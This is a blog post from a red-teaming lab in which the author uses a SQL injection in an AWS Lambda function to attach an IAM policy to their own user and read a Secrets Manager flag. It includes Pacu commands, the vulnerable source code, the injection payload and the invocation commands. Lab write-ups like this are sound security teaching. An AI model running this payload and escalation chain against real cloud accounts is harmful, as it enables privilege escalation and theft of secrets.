DEV Community

Cover image for [LAB] Lambda SQLi PrivEsc to Access Secret (AWS Red Teaming)
David Disu
David Disu

Posted on

[LAB] Lambda SQLi PrivEsc to Access Secret (AWS Red Teaming)

Lambda SQL Injection to IAM Privilege Escalation

Overview

This writeup documents the exploitation of a SQL injection vulnerability in an AWS Lambda function to escalate privileges and extract a secret from AWS Secrets Manager.


Reconnaissance

Using Pacu's IAM enumeration module, we discovered 22 roles and 3 policies within the target account:

Pacu > run iam__enum_users_roles_policies_groups
Enter fullscreen mode Exit fullscreen mode

Reviewing the enumerated data revealed a key role — invoker-lambda-sqli-privesc-* — that our compromised user was explicitly allowed to assume via sts:AssumeRole.

use this AWS command to retrieve to the policy JSON documents

aws iam get-policy-version --policy-arn --version-id

Three policies were identified:

Policy Purpose
*-user Grants IAM read permissions and ability to assume the invoker role
*_applier Grants iam:AttachUserPolicy on our user
SecretAccessPolicy Grants secretsmanager:GetSecretValue on the target secret

SecretAccessPolicy immediately stood out — it was the end goal, granting direct access to the target secret.


Assuming the Invoker Role

With sts:AssumeRole permissions confirmed, we assumed the invoker role directly in Pacu:

Pacu > assume_role arn:aws:iam::014498641618:role/invoker-lambda-sqli-privesc-to-access-secret-1783543122906
Enter fullscreen mode Exit fullscreen mode

The Pacu prompt updated to reflect the assumed role. We then exported the temporary credentials and loaded them into our AWS CLI profile for use outside Pacu.


Lambda Enumeration

With the invoker role active, we enumerated Lambda functions in us-east-1:

Pacu > run lambda__enum --region us-east-1
Enter fullscreen mode Exit fullscreen mode

One function was found: Vulnerable-lambda-sqli-privesc-to-access-secret-*. Downloading its source code from the S3 location in the metadata revealed the vulnerability.


Identifying the Vulnerability

<!--SNIP-->
db["policies"].insert_all([
#     {"policy_name": "SecretAccessPolicy", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::{account_id}:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

<!--SNIP-->
Enter fullscreen mode Exit fullscreen mode

The Lambda function applies IAM policies to users via a SQLite database query:

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
Enter fullscreen mode Exit fullscreen mode

User-supplied input is concatenated directly into the SQL query without sanitization or parameterization. This is a textbook SQL injection vulnerability — an attacker who controls policy_name can break out of the string and inject arbitrary SQL logic.


Crafting the Payload

Understanding the query structure, we crafted an injection payload:

SecretAccessPolicy' OR 1=1 --

Component Purpose
SecretAccessPolicy Valid-looking prefix to blend in
' Closes the developer's opening quote
OR 1=1 Always-true condition, returns all rows
-- Comments out the remainder of the query, including AND public='True'

The resulting query executed by the database:

SELECT policy_name FROM policies 
WHERE policy_name='SecretAccessPolicy' OR 1=1 -- ' AND public='True'
Enter fullscreen mode Exit fullscreen mode

The AND public='True' security check is completely neutralized by the comment, causing the database to return all policies regardless of their visibility setting.


Exploitation

We formatted the payload as a valid Lambda invocation:

{
  "policy_names": [
    "SecretAccessPolicy' OR 1=1 --"
  ],
  "user_name": "lambda-sqli-privesc-to-access-secret-1783549354532-user"
}
Enter fullscreen mode Exit fullscreen mode

Invoking the Lambda with this payload caused it to attach SecretAccessPolicy to our user, granting us secretsmanager:GetSecretValue on the target secret.

aws lambda invoke --function-name Vulnerable-lambda-sqli-privesc-to-access-secret-1783549354532 --payload fileb://payload.json output.txt --region us-east-1
Enter fullscreen mode Exit fullscreen mode

Extracting the Secret

Back in our original user session in Pacu, we ran the secrets enumeration module:

Pacu > run secrets__enum --region us-east-1
Enter fullscreen mode Exit fullscreen mode

One secret was found: lambda-sqli-privesc-to-access-secret-*-final_flag. The value was automatically saved locally:

cat ~/.local/share/pacu/vuln-lamdba/downloads/secrets/secrets_manager/secrets.txt
Enter fullscreen mode Exit fullscreen mode

{"vault-password": "cybr-labs-secret-846237-284529"}

PWNSOME REFERENCES

Top comments (0)